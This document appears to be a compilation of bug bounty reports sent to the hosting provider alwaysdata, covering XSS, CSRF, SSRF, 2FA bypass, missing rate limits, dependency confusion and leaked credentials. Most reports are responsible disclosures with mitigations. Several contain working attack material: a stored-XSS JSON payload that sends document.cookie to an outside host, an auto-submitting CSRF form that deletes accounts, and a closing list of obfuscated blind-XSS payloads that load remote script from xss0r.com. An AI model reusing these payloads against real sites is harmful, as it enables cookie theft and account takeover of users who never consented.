Security vulnerabilities

Vulnerability Name: No Rate Limit in adding Sites

Impact:
- This may consume a large amount of bandwidth and, sometimes, require large amounts of storage space.

How to reproduce this issue:

1. Use Burp Suite and capture the Sites request.

2. Send the captured request to Intruder and select name position as shown in POC.

3. Set payloads to numbers and numbers will be from 1 to 40 (depending on your usage).

4. Observe that the status code is 302 means we can add an unlimited Sites.

Recommendation:
1. There should be some rate limit for Add Sites (Example: should not exceed more than 10 Sites)

2. Implement Captcha, the captcha should not be based on IP.

POC:
- Video file in below link.
- Link: https://www.mediafire.com/file/q9ir608diysdnhj/Always+Data+Poc-1.mp4/file https://mediafire.com/file/q9ir608diysdnhj/Always+Data+Poc-1.mp4/file

# Summary:
The discovered vulnerability allows for the bypass of Two-Factor Authentication (2FA) mechanisms through the exploitation of leaked cookies. By intercepting and utilizing these cookies, an attacker can gain unauthorized access to user accounts without the need for the second authentication factor, compromising the security of the system.

# Steps To Reproduce:
1.Navigate to the account settings and enable 2FA.
2.Log out and log back in using valid credentials.
3.Enter the required 2FA code to proceed.
4.Export session cookies using a cookie editor tool.
5.Paste the copied cookies into another browser
6 Access the account without providing the 2FA code,2FA Authentication bypassed.

# Mitigation:
Introduce device-based Two-Factor Authentication (2FA) mechanisms that require additional verification steps when signing in from new or unrecognized devices, browsers, or locations. This adds an extra layer of security by verifying the identity of the user and the device being used for authentication.

# Impact:
The vulnerability allows attackers to bypass Two-Factor Authentication (2FA) mechanisms by stealing and utilizing session cookies obtained through various means, such as man-in-the-middle (MITM) attacks using tools like Evilginx2. By exploiting this vulnerability, attackers can gain unauthorized access to user accounts without the need for the second authentication factor, compromising the security of the system and potentially leading to unauthorized data access, fraudulent transactions, or other malicious activities.

Thank You,

Waleed Anwar

Hi my name is Rehan and I discovered that the login endpoint at https://admin.alwaysdata.com/login/?next=/ doesn't have any sort of rate limiting in place.

This leads to account takeover of any user. You just have to know his/her email. That's the only prerequisite.

What I did:
1. I sent 50 login requests using intruder.

2. Set the intruder with fake 49 passwords and 50th being the correct password.

3. All requests go through without any error like too many requests, IP block or even temporary account lockout.

4. All 49 requests were processed with 200 OK implying that the password is wrong. However the 50th request gives a 302 error confirming the correct password.

IMPACT:
Account takeover:

This will give an attacker a way to send lot of requests and ultimately takeover the victim account when the response shows a 302 redirection.

I have read your stance on absence of rate limit on password reset endpoints as i read the tasklist. I know email flooding isn't really a big of a problem. However, I'm sending you this report because having no rate limit on login endpoint doesn't seem all too well. This is because having no rate limit on login leads to account takeover of any user.

It's not about flooding someone's inbox but actually taking over someone else's account. I hope you get my point here.

Recommendation:

1. Implement rate limiting after certain number of attempts. Give the user some time to try again like after 5 minutes.

2. Block the IP from sending more requests and send an automated message to victim informing him of login attempts.

Target:alwaysdata.com

Vulnerability Type:Sensitive Credential Exposure

Severity:CRITICAL

Overview:During an OSINT investigation using a custom tool designed to collect data from dark web forums, I identified exposed credentials of users from alwaysdata.com were leaked This poses a significant security risk to the organization. Attached is the txt file with the credentials I found.

Remediation:
Reset all compromised user passwords immediately
Enforce multi-factor authentication
Monitor for signs of account compromise and unauthorized access
Notify impacted users to update credentials

Impact:
Mass account takeovers by attackers
Breach of personal data and intellectual property
Financial fraud and illegal activities using compromised accounts
Potential lateral network compromiseBrand damage, legal liabilities, regulatory violations

Poc :

https://drive.google.com/drive/folders/1Ox0JvlCLy--RDErIj7y9GzGLwoAY7PQL?usp=sharing

A password reset page does not properly validate the authenticity token at the server side.

1. Go to https://admin.alwaysdata.com/password/lost/ and request a new password.
2. Go to email, and click on the link.
3. Put the new password, submit and intercept the request; remove the authenticity token from the request and now forward it to the server.
you will see request still got completed, its shows token invalid in the browser but you can refresh the page and you see that user is logged in with new password.

Thanks,

Waleed Anwar

Summary:

During testing, I discovered that the 2FA (Two-Factor Authentication) feature can be abused to block legitimate users from registering on the platform. This vulnerability arises because the application allows users to update their email addresses without disabling 2FA. When users update their email while 2FA is enabled, the application requires the 2FA code to log in with the new email. An attacker can exploit this flaw by registering an account using his email, enabling 2FA, and then updating the account's email to the victim's. This process effectively locks the victim out of their email address and prevents them from registering to the platform.

Steps to Reproduce:

1. create account at : https://admin.alwaysdata.com/admin/details/

1. The attacker creates an account using their email address.

1. the attacker logs in and enables 2FA.

1. The attacker then updates their email address to the victim's.

1. If the victim tries to register an account using their email address, they receive an error stating that the email already exists.

1. If the victim attempts to reset the password using the "Forgot Password" feature:

1. The victim receives the password reset link and successfully updates their password.

1. Upon attempting to log in, the application prompts for the 2FA code.

1. Since the victim cannot access the 2FA code the attacker sets, they cannot log in.

PoC :

https://drive.google.com/file/d/1iKnoKLZXCREeIidrOzvH2SXDNDLPqsLH/view?usp=sharing

Impact

This behavior effectively locks the victim out of their email address, preventing them from registering or accessing an account on the platform.

Hello Team, I hope you are doing well, while researching in your domain i found Blind SSRF and Open Redirection in Comment Section.

Steps:

1.https://blog.alwaysdata.com/2018/09/20/teaching-program-for-better-it-courses/comment-page-1/ 2. Fill the form and add evil.com or your burp Collab in Website Field.
3.Then Click on Post Comment to post your comment in website.

You can see your comment is posted in the website, when you click on the username in the post it will redirect you in the attacker website or in burp collab you get dns and http responses.

Attacker can host your malicious website in comment section to redirect a user in their website for stealing stuffs etc.

#Note:

It can also vulnerable for clickjacking.

Thank You,

Waleed Anwar

Blind SSRF

attachment: https://admin.alwaysdata.com/support/87908/

Dear Alwaysdata IT Team,

My name is Raden Adhiyaksa Indiharto, and I am a Security Researcher. I have identified a Blind Stored Cross-Site Scripting (XSS) vulnerability within your web application, specifically in the contact form endpoint located at:

https://www.alwaysdata.com/en/contact/

The purpose of this letter is to responsibly disclose the details of this vulnerability in order to assist your team in addressing this security issue effectively.

Vulnerability Summary

• Vulnerability Type: Blind Stored Cross-Site Scripting (XSS)
• Affected Endpoint: /en/contact/ (POST method, JSON input)
• Payload Location: Malicious scripts are injected into the form fields form-mail-name and form-mail-message.
• Impact: The injected JavaScript code executes when an administrator or user views the stored input on the dashboard or relevant data views.
• Severity: Medium to High (depending on victim interaction)

CVSS (v3.1) Score Attack Vector (AV) Network (N)
Attack Complexity (AC) Low (L)
Privileges Required (PR) None (N)
User Interaction (UI) Required (R)
Scope (S) Unchanged (U)
Confidentiality (C) High (H)
Integrity (I) High (H)
Availability (A) None (N)
Base Score: 7.4 (High)
Severity Rating: High

Technical Details The vulnerability was demonstrated by sending a crafted JSON payload to the contact form endpoint, as shown below:

{
  "form-mail-email": "attacker@gmail.com",
  "form-mail-name": "<iframe srcdoc=\"<script>new Image().src='https://xss.report/c/raden?c='+document.cookie</script>\"></iframe>",
  "form-mail-message": "<iframe srcdoc=\"<script>new Image().src='https://xss.report/c/raden?c='+document.cookie</script>\"></iframe>"
}

This payload injects an iframe containing a script that creates a new image request to an external server, sending the victim’s cookies as query parameters. Because the payload is stored, it executes silently when the stored data is accessed, classifying it as a blind stored XSS vulnerability.

Trigger Condition The malicious script executes only when an administrator or user opens the dashboard or data view where the stored input is displayed. This delayed execution makes the vulnerability harder to detect.

Server Response

HTTP/2 200 OK
Content-Length: 2
ok

confirming that the malicious input was successfully stored.

Potential Impact

• Unauthorized disclosure of session cookies and sensitive data.
• Potential account takeover, privilege escalation, and unauthorized access.
• Difficult to detect due to blind nature (the attacker does not see immediate effects).

Recommendations for Mitigation

• Input Validation and Sanitization:

Filter and sanitize all inputs to reject or escape HTML and script content.

• Output Encoding:

Properly encode data before rendering it in the UI to prevent script execution.

• Content Security Policy (CSP):

Implement CSP headers to restrict sources of executable scripts.

• Security Testing:

Engage in regular security audits and include XSS-focused penetration testing.

Note The payload works by executing only when an administrator or user opens the dashboard or view page where the stored input is displayed. This confirms that further exploitation would require the victim to interact with that interface. At this stage, you may consider whether this level of proof of concept sufficiently demonstrates the risk, or if additional exploitation steps are necessary to showcase the impact in greater detail.

Thank you for your attention and commitment to security.

Best regards,
Raden Adhiyaksa Indiharto
Security Researcher

Link Video and Image Proof of Concept https://drive.google.com/drive/folders/1pTvtlZmsxj9LIhyAwNnDN5ZRqGnweZs3?usp=sharing

Two critical vulnerabilities were identified in the `admin.alwaysdata.com` panel:

1. Broken Access Control via browser back-navigation (Alt+←), exposing sensitive user data post-logout.
2. CSRF (Cross-Site Request Forgery) via a GET request that allows unauthorized deletion of user accounts.

—

### 🧪 Steps to Reproduce

#### 🐞 Part 1: Broken Access Control via Browser Back Navigation

1. Login to the application: [https://admin.alwaysdata.com](https://admin.alwaysdata.com)
2. Navigate to user details:

 Example:  
 `https://admin.alwaysdata.com/admin/details/384337/deletee/`

3. Logout from the application.
4. Press Alt + Left Arrow (or use browser back button).
5. ⚠️ Result: The previously authenticated page is shown again, leaking sensitive user information (even though the user has logged out).

Impact: An attacker who gains temporary access to the session or has physical access to the system can access previously authenticated content even after logout.

—

#### 🐞 Part 2: CSRF - Account Deletion via GET Request

The following endpoint allows account deletion via a GET request, making it vulnerable to CSRF.

##### 🔓 CSRF Exploit HTML

```html

  <body onload="document.forms[0].submit()">
    <form action="https://admin.alwaysdata.com/admin/details/384337/delete/" method="GET">
      <input type="hidden" name="reason" value="Testing CSRF exploit" />
    </form>
  </body>

```

#### Steps:

1. Host this HTML file on any domain under your control.
2. Send the link to a logged-in admin user (victim).
3. When the victim clicks the link, the page auto-submits a GET request to:

 ```
 https://admin.alwaysdata.com/admin/details/384337/delete/?reason=Testing+CSRF+exploit
 ```

4. If he /she click the delete button it will be deleted.

—

### 💥 Combined Impact

By chaining these two issues, an attacker could:

- Extract sensitive data via broken access control (using back-navigation after logout).
- Delete user accounts via CSRF without authentication or confirmation.

—

### 🔐 Recommended Fixes

1. Fix Broken Access Control:

1. Invalidate cached pages using proper cache-control headers:

```http

   Cache-Control: no-store, no-cache, must-revalidate
   Pragma: no-cache
   ```
 - Implement server-side checks to reject requests after session termination.

2. Fix CSRF in Sensitive Actions:

1. Use POST requests for state-changing actions (like deletion).
2. Implement CSRF tokens and validate them on every form submission.

—

POC Link: https://drive.google.com/file/d/1BSTP_m8nxiP4h-bQIq9OsiCRmYlBJuaO/view?usp=sharing

Description

A vulnerability exists on the https://admin.alwaysdata.com/ permissions_delete endpoint which is intended for deleting sub-accounts' generated data or permissions. However due to unsecure design, it can also be used to remove critical permissions or access controls of the owner account, rendering the account useless.

Proof-of-Concept

1. Visit this URL: https://admin.alwaysdata.com/permissions/<owner-id>/delete/ (Replace owner-id with the the id of main account, that is, the one with 'impossible deletion')

2. This renders the account useless. But permissions can still be reinstated using the following request

POST /permissions/<account-id>/ HTTP/2
Host: admin.alwaysdata.com
Cookie: csrftoken=nHI6Qy3zJu9uxxxqNvXRuZlTuvgLJwbBI5jg4XRa; django_language=en; sessionid=tdcg6j9im2g31ga9tk7
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://admin.alwaysdata.com/permissions/
Content-Type: application/x-www-form-urlencoded
Content-Length: 314
Origin: https://admin.alwaysdata.com


csrfmiddlewaretoken=U0CcqjIPBxxxxxxxxxxxx2zGI69d7GFBI5AKORMPsTJlk1SfgDJZ5t&csrfmiddlewaretoken=U0CcqjIPBxxxxxxxxxxxxxxxx7GFBI5AKORMPsTJlk1SfgDJZ5t&email=<EMAIL>&customer_account=on&customer_contact_billing=on&customer_full_accounts=on&customer_full_servers=on&account=<USERID>

Mitigation

Ensure that only authorized admin can access and modify owner permissions through the delete endpoint. This can be achieved by implementing authentication and authorization mechanisms.

Bug Bounty Report

Title: MTA-STS Record Not Found for Domain

Severity: High

Summary: The domain alwaysdata.com does not have an MTA-STS (Mail Transfer Agent Strict Transport Security) record configured. MTA-STS is a critical security mechanism that enforces secure connections between mail servers, preventing Man-in-the-Middle (MitM) attacks and enhancing email security. The absence of this record leaves the domain vulnerable to potential interception and tampering of email communications, posing a significant risk to the confidentiality and integrity of sensitive information.

Description: Upon conducting a security assessment, it was observed that the domain alwaysdata.com lacks an MTA-STS record in its DNS configuration. MTA-STS is a crucial security protocol that ensures secure communication channels between mail servers, thereby mitigating the risk of interception and tampering of email traffic.

In the absence of an MTA-STS record, malicious actors could exploit vulnerabilities in email transmission, potentially intercepting sensitive information exchanged between servers. This vulnerability exposes the domain to various security threats, including but not limited to Man-in-the-Middle attacks, eavesdropping, and unauthorized access to confidential data.

Steps to Reproduce:

Go to the MTA-STS TXT record checker tool https://easydmarc.com/tools/mta-sts-check?domain= Observe the absence of an MTA-STS TXT record.
Verify that the domain's DNS configuration does not include any MTA-STS policies.
Impact: The absence of an MTA-STS record for the domain alwaysdata.com has the following impacts:

Security Risk: Without MTA-STS, email communications are vulnerable to interception and tampering by malicious entities, compromising the confidentiality and integrity of sensitive information.
MitM Attacks: Attackers could exploit the lack of secure communication channels to intercept emails, leading to potential data breaches and unauthorized access to confidential data.
Compliance Concerns: Non-compliance with industry standards and best practices regarding email security, potentially leading to regulatory penalties and reputational damage.
Recommendations:

Implement MTA-STS: Configure an MTA-STS policy for the domain alwaysdata.com following the specifications outlined in RFC 8461 to enforce secure communication between mail servers.
Enable TLS Encryption: Ensure that TLS encryption is enabled and properly configured on mail servers to further enhance email security.
Regular Monitoring: Conduct regular audits and monitoring of DNS configurations to identify and address any security vulnerabilities promptly.
Educate Users: Raise awareness among domain administrators and users about the importance of email security practices, including the significance of implementing MTA-STS.
Proof of Concept (PoC): The absence of an MTA-STS record for the domain alwaysdata.com can be verified by performing a DNS lookup for the MTA-STS policy. The lack of an MTA-STS TXT record in the DNS configuration confirms the vulnerability.

Additional Notes: It is imperative to prioritize the implementation of MTA-STS for the domain alwaysdata.com to mitigate the identified security risk effectively. Failure to address this issue promptly could result in severe consequences, including data breaches and compliance violations.

Thank you ,

Sanjith Roshan U

Security Researcher

POC DRIVE LINK:https://drive.google.com/file/d/1mERA_7qmeQ8bRAYuUZFRsuYJqAmm3CgO/view?usp=sharing

Summary:
A potential security vulnerability has been identified in the user invitation token generation process when integrated with a third-party service. This vulnerability could lead to the leakage of user invitation tokens, potentially exposing sensitive information and compromising the security of user accounts.

Details:
Vulnerability Type: Information Disclosure
Affected Component: User invitation token generation integrated with third-party service
Severity: High
Description:
During our security assessment, it was discovered that the user invitation token, which is generated as part of the user invitation process, is not adequately protected when interacting with a third-party service. This oversight allows unauthorized access to the token, leading to potential exposure of sensitive information.

Steps to Reproduce:
1.Login into the account.
2.Go to the invite user function and add the email which you want to invite.
3.A token is received to that email for joining the team.
4.Keep your proxy on and click on the invitation link.
5.Set the password and you have successfully joined the team.
6.Now go back to your burp suite and search for the invitation token which is received on the step3.
7.You will notice that the token got leaked into third parties also.

Impact:
If exploited, this vulnerability could allow an attacker to gain unauthorized access to user accounts, potentially leading to data theft, unauthorized access to sensitive information, and other malicious activities.

Recommendations for Mitigation:

Token Encryption: Implement encryption mechanisms to protect user invitation tokens during transmission to and from the third-party service.
Secure Transmission: Ensure that communication channels between your system and the third-party service are secure, using protocols such as HTTPS.
Token Expiry: Implement token expiration mechanisms to limit the window of opportunity for exploitation.
Audit Access Logs: Regularly audit access logs for any suspicious activities or unauthorized access.

Proof of Concept (PoC):
Include relevant information or details demonstrating the vulnerability, ensuring that no sensitive information is disclosed in the report.

I appreciate your prompt attention to this matter and look forward to working collaboratively to address and resolve this security vulnerability.

Thank you.

Aditya

Description:
A User's credential was leaked on github-dork.This will give potential insights to user's sensitive infos if any.

Steps to Reproduce:
1.github dork "admin.alwaysdata.com password"
2.visit this Repo:"https://github.com/AndryAurelian101/PHP-project/blob/b3b26287837a34ecb75da46e90ebf01c919d0c1e/www/db_connect.php"
3.you could see the credential are leaked.

I was able to login into the user's credential for verification.

Impact:
Information disclosure

Mitigation:
Redacting the credentials

Hope everything going well on your side.

Recently, while enumerating over alwaysdata.net and alwaysdata.com i came across a js file which contain a npm dependency which you also used using command require('nw.gui') . When i check it on npm registry it does not exist over there. So i claimed it. I also came across other dependencies which are used in other js files with the exact syntax but they are already exist on npm registry but only this dependency does not exist over npm registry. So, it could easily result in npm dependency confusion vulnerability which could severe consequences like if anytime you update/install it will easily give rise to Remote Code Execution over user/developer system even if it in scope or not.

## Step to reproduce:

1. Enumerate over your domain and find all endpoints.
2. From endpoints extract all js files.
3. In JS files search npm dependecies.


4. You will find dependency which I mentioned above.


Follow this js-file : [Link](https://foxrewards.alwaysdata.net/jeu/js/rpg_core.js)
5. Claimed the dependency.


## Impact:

1. If anytime you update/install it will easily give rise to Remote Code Execution over user/developer system which could be fatal.
2. Reputation damage of the company.

## Mitigation
Once you have reviewed this report, I can unclaim the package and you can upload your own ones there.

Subject: Misconfiguration in 2FA Implementation Allows Pre-Complete ATO

To:
Security Team
alwaysdata

Description:
The lack of email verification before enabling Two-Factor Authentication (2FA) introduces a critical vulnerability that can facilitate pre-complete Account Takeover (ATO). An attacker can register email addresses resembling critical system accounts (e.g., administrator@alwaysdata.com or support@alwaysdata.com) without any validation.
This misconfiguration allows the attacker to appear as legitimate users or administrators by exploiting the following gaps:
1. Email Address Control:
The attacker registers administrator@alwaysdata.com (since admin@alwaysdata.com is already in use) or similar critical addresses such as support@alwaysdata.com. This bypass occurs because the application does not verify email ownership before enabling 2FA.
2. Pre-Complete ATO via 2FA:
Once the attacker controls the fake email, they enable 2FA. This results in the following:
- The email becomes "locked" for the attacker's use.
- Real administrators or support users cannot register or regain control of these emails.
- Critical accounts, if assumed to be associated with internal roles, are exploited for phishing or denial of service.
This oversight compromises account security and can lead to severe operational and reputational risks for alwaysdata.

Steps to Reproduce:
1. Register as a New User:
- Create a new account with an email resembling a sensitive system role (e.g., administrator@alwaysdata.com or support@alwaysdata.com).
2. Set Up 2FA on the Account:
- Enable Two-Factor Authentication without any email ownership verification.
3. Observe the Impact:
- The attacker now controls a seemingly legitimate account.
- Real users or employees attempting to register or recover accounts with these emails are blocked.
4. Potential Exploit:
- Use the compromised "fake admin" email to trick other users or employees.
- Execute phishing attacks or leverage the fake email for social engineering attempts.

Business Impact:
1. Operational Risk:
- Legitimate users or employees are unable to access critical accounts (e.g., admin@alwaysdata.com or support@alwaysdata.com).
- This could lead to service disruptions and hinder internal workflows.
2. Security Risks:
- Attackers can impersonate sensitive roles and deceive users or employees.
- Creates opportunities for phishing, fraud, and social engineering attacks.
3. Reputational Damage:
- Users and employees may lose trust in alwaysdata due to perceived weak account protection mechanisms.
4. Pre-Complete ATO:
- Attacker gains control of accounts with system-level trust (e.g., admin-like emails) without the ability of real users to regain access.

Severity:
High

Remediation Steps:
1. Mandate Email Verification:
Require all email addresses to be verified during registration and before enabling 2FA.
2. Restrict Critical Email Formats:
Disallow registrations with email addresses resembling sensitive roles (e.g., admin, administrator, support).
3. Enforce Ownership Validation:
Implement strict validation to ensure that users can only enable 2FA on accounts they genuinely own.
4. Audit Existing Accounts:
Identify and rectify any unverified accounts with potentially sensitive email addresses.

Video POC:
A detailed demonstration of the exploit steps is attached to this report to illustrate the issue clearly.
https://drive.google.com/file/d/17DNkoihfOW7jyMoY_eWMGNiigNY4Zmo7/view?usp=sharing

Bug Name:
Directory Traversal through Sitemap Schema Reference

Severity:
Medium to High (Information Disclosure)

URL Affected:
https://www.alwaysdata.com/en/sitemap.xml → references → http://www.sitemaps.org/schemas/sitemap/0.9 → references → https://www.ietf.org/rfc/

🔁 Steps to Reproduce:
Go to https://www.alwaysdata.com/en/sitemap.xml.

View the linked schema:

<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
Open the namespace URL: http://www.sitemaps.org/schemas/sitemap/0.9

From that page, locate and visit: https://www.ietf.org/rfc/

Observe that the directory listing is enabled on https://www.ietf.org/rfc/.

🧾 Observed Behavior:
The https://www.ietf.org/rfc/ URL is openly listing all files in the directory, including:

PDF documents

HTML versions

JSON files

File sizes and last modified dates

✅ Expected Behavior:
Directory listing should be disabled to prevent information disclosure.

The endpoint should return a 403 Forbidden or a custom error page.

📌 Impact:
Unintended information disclosure through exposed documents and file structures.

Can help attackers understand server structure or gather sensitive metadata.

May affect trust if directory listing is not intended behavior.

poc :

https://drive.google.com/file/d/198YaCBfL4Zn8iAtGN3FdHPg3-JMt-4Q0/view?usp=sharing

URL:https://www.alwaysdata.com/en/sitemap.xml

🔍 Issue Summary:
The sitemap XML at the above URL is accessible but lacks associated XSL styling, causing the browser to display a raw XML tree with a message stating:

"This XML file does not appear to have any style information associated with it. The document tree is shown below."

💡 Expected Behavior:
The sitemap should either:

Include a reference to an XSL stylesheet to format the output for human readability, OR

Deliver plain XML without browser-rendered HTML or inline styles/CSS that could lead to unintended display artifacts.

📋 Actual Behavior:
The XML document is correctly structured and functional.

However, extraneous CSS code appears to be injected into the XML, potentially due to frontend theme/style conflicts or incorrect server handling.

🧪 Steps to Reproduce:
Navigate to https://www.alwaysdata.com/en/sitemap.xml in any browser.

Observe the browser warning about missing style information.

Scroll down to see unexpected CSS classes and style rules (e.g., .aifnmjmchg.light, :host([class=light])), which are not part of a standard sitemap file.

🧠 Root Cause Hypothesis:
The web server may be unintentionally injecting global CSS or theme-related JavaScript/CSS into all responses, including .xml files.

This could be a misconfigured template handler or inclusion of global styles across all content types.

🎯 Suggested Fix:
Ensure that the sitemap endpoint delivers pure XML with proper MIME type (application/xml) without CSS injection.

Optionally, provide an XSL stylesheet for better browser presentation if needed.

Review middleware or template rendering logic that might be appending global assets to all responses.

✅ Impact:
SEO crawlers are likely unaffected.

However, human readability is degraded, and it may hint at larger asset delivery misconfigurations.

Potentially impacts maintainability, developer trust, or bug bounty program quality.

Bug Report: Vulnerability in User Addition Feature Leading to Email Blockage Exploit

Subject: Misconfiguration in User Addition Feature - Enables Permanent Blockage of Employee/User Emails

To:
Security Team
alwaysdata

Description:
The "Add a User" feature in your application has a critical misconfiguration that allows attackers to exploit email handling mechanisms. The vulnerability permits any email address, including sensitive ones like victim@alwaysdata.com or employee@alwaysdata.com, to be registered by an attacker under their account. This issue occurs irrespective of whether the victim is an actual user or employee of alwaysdata.
Key Problem:
Once an attacker registers email addresses to their account, the application erroneously considers these emails as "already in use." Consequently, legitimate users or employees are unable to:
• Register with their own email addresses.
• Recover passwords using the "Forgot Password" feature.
This creates a significant denial of service for legitimate users, especially for employee emails or those critical to operations.

Steps to Reproduce:
1. Login to the Application:
o Attacker logs into their account on alwaysdata.
2. Access the "Add a User" Feature:
o Navigate to the "Add a User" section.
3. Add Any Email Address:
o Enter any target email (e.g., victim@alwaysdata.com, employee@alwaysdata.com, or database_admin@alwaysdata.com) and add it as a user.
4. Observe the Impact:
o The entered email is stored in the database, associating it with the attacker’s account.
o Legitimate users or employees attempting to register with their email or recover their account using "Forgot Password" are blocked as their emails are flagged as already registered.

Business Impact:
1. Disruption of Operations:
Employees using critical emails (e.g., employee@alwaysdata.com, support@alwaysdata.com) are prevented from accessing the platform. This can halt workflows and damage operational continuity.
2. Customer Impact:
Legitimate customers with hijacked email registrations are blocked from using the platform, leading to frustration and loss of trust.
3. Potential Abuse:
o Attacker could pre-register a large list of potential or known email addresses (e.g., 100+ victims).
o Targeted denial of service campaigns against specific users or employees.
4. Reputational Damage:
Affected users may view alwaysdata as insecure and prone to misuse.

Severity:
Moderate to High

Remediation Steps:
1. Email Validation:
Restrict the registration of emails ending with @alwaysdata.com to prevent abuse of employee addresses.
2. Duplicate Email Handling:
Implement a verification mechanism to check if an email is legitimately registered to an account and ensure users can still register or recover their accounts.
3. Audit "Add a User" Logic:
Validate and sanitize inputs to avoid unauthorized addition of unrelated or sensitive emails.
4. Email Ownership Verification:
Mandate email verification for all newly added users before finalizing their association with an account.

Video POC:
A detailed POC has been attached showcasing the reproduction of this bug and its consequences.
https://drive.google.com/file/d/1TBi7njRCCsqkHhAEri7viUmyGot1Pyf5/view?usp=sharing

### Bug Report: XSS Vulnerability via File Upload

- Bug Type: Cross-Site Scripting (XSS)
- Affected Site: https://admin.alwaysdata.com

#### Steps to Reproduce
1. Log in to the admin panel at [https://admin.alwaysdata.com](https://admin.alwaysdata.com).
2. Navigate to the Feedback section.
3. Create a new ticket for feedback.
4. Attach a file that contains an embedded XSS payload
5. Submit the feedback with the file attached.
6. After submission, open the file in the ticket view.
7. Observe that a popup appears as a result of the XSS payload execution.

#### Impact
- Security Risk: This vulnerability allows attackers to execute arbitrary JavaScript code in the context of the user's browser.
- Potential Exploits: This can lead to session hijacking, redirecting users to malicious sites, or stealing sensitive user information.
- Severity: High – Since the attack leverages file uploads and can be triggered by opening the file in the browser, it could potentially impact many users who interact with the file.

#### Description
The issue occurs when a file is uploaded with a malicious XSS payload embedded. The uploaded file is not sanitized or filtered correctly, allowing the script to execute when viewed. This vulnerability could lead to a serious security breach, compromising user accounts and system data.

Hello Web Security
Severity: Medium
Domain: https://admin.alwaysdata.com

Description :
A security researcher discovered that after resetting a password, the user was automatically logged in. As such, compromising a legitimate password reset link (via referrer token leakage or a similar issue) could lead to compromising the account since the user would not be forced to log in after resetting their password.

Proof Of Concept:
1.Go to this website:(https://admin.alwaysdata.com)
2.Send the password reset link to your email.
3.Go to your email and open the link.
4.Set a new password.
5.Boom.Automatically logged in.

Fix:
OWASP forgot password recommendations(https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet) suggest a better approach, which we have now implemented.

Thanks.

Reference :
https://hackerone.com/reports/164648 https://hackerone.com/reports/255020

Bug Title: Prototype Pollution Vulnerability Report
Weakness: Prototype Pollution
Hello Web Security Team,

I am reporting a security vulnerability on the website https://www.alwaysdata.com/en/ The website is affected by prototype pollution due to the usage of an outdated jQuery version.

Description:
The website uses jQuery version 1.12.4, which is susceptible to prototype pollution. This vulnerability allows an attacker to inject properties into Object.prototype, affecting all objects across the application. Notably, the "deep" version of jQuery $.extend is impacted.

Steps To Reproduce:
1. To check if the application is vulnerable to prototype pollution attack we can use the below command:

command: $.extend(true, {}, JSON.parse('{"__proto__":{"polluted":"hacked"}}'));

2. Now let's open the application URL: https://www.alwaysdata.com/en/ and enter into the developer options Console tab and paste the command and hit enter.
Notice that the result contains an option with polluted: hacked

Image:
https://ibb.co/VxyNw4z

Impact:
Prototype pollution introduces a severe risk to the application. An attacker, upon exploiting this vulnerability, can manipulate default values for options passed to functions with an "options" argument—a common pattern in JavaScript applications. The impact escalates based on the application's use of such options, potentially leading to unauthorized modifications and alterations in the application's behavior.

Supporting Material/References:
https://hackerone.com/reports/380873 https://hackerone.com/reports/454365 The vulnerability has been verified on jQuery version 1.12.4, and it is likely to affect older versions.
The issue is present when using Chrome latest version.

Fix:
Update latest version of jquery 3.7.1 is the best remediation as it has no known vulnerabilities at the time of this writing

'"><script src=https://xss0r.com/c/sabeesh></script>
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzMHIuY29tL2Mvc2FiZWVzaCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs6; onerror=eval(atob(this.id))>
javascript:eval('var a=document.createElement(\'script\');a.src=\'https://xss0r.com/c/sabeesh\';document.body.appendChild(a)')
"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzMHIuY29tL2Mvc2FiZWVzaCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs6; autofocus>
"><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzMHIuY29tL2Mvc2FiZWVzaCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs6;>
"><iframe srcdoc="&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#118;&#97;&#114;&#32;&#97;&#61;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#114;&#101;&#97;&#116;&#101;&#69;&#108;&#101;&#109;&#101;&#110;&#116;&#40;&#34;&#115;&#99;&#114;&#105;&#112;&#116;&#34;&#41;&#59;&#97;&#46;&#115;&#114;&#99;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#120;&#115;&#115;&#48;&#114;&#46;&#99;&#111;&#109;&#47;&#99;&#47;&#115;&#97;&#98;&#101;&#101;&#115;&#104;&#34;&#59;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#98;&#111;&#100;&#121;&#46;&#97;&#112;&#112;&#101;&#110;&#100;&#67;&#104;&#105;&#108;&#100;&#40;&#97;&#41;&#59;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;">
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "xss0r.com/c/sabeesh");a.send();</script>
<script>$.getScript("xss0r.com/c/sabeesh")</script>
var a=document.createElement("script");a.src="https://xss0r.com/c/sabeesh";document.body.appendChild(a);
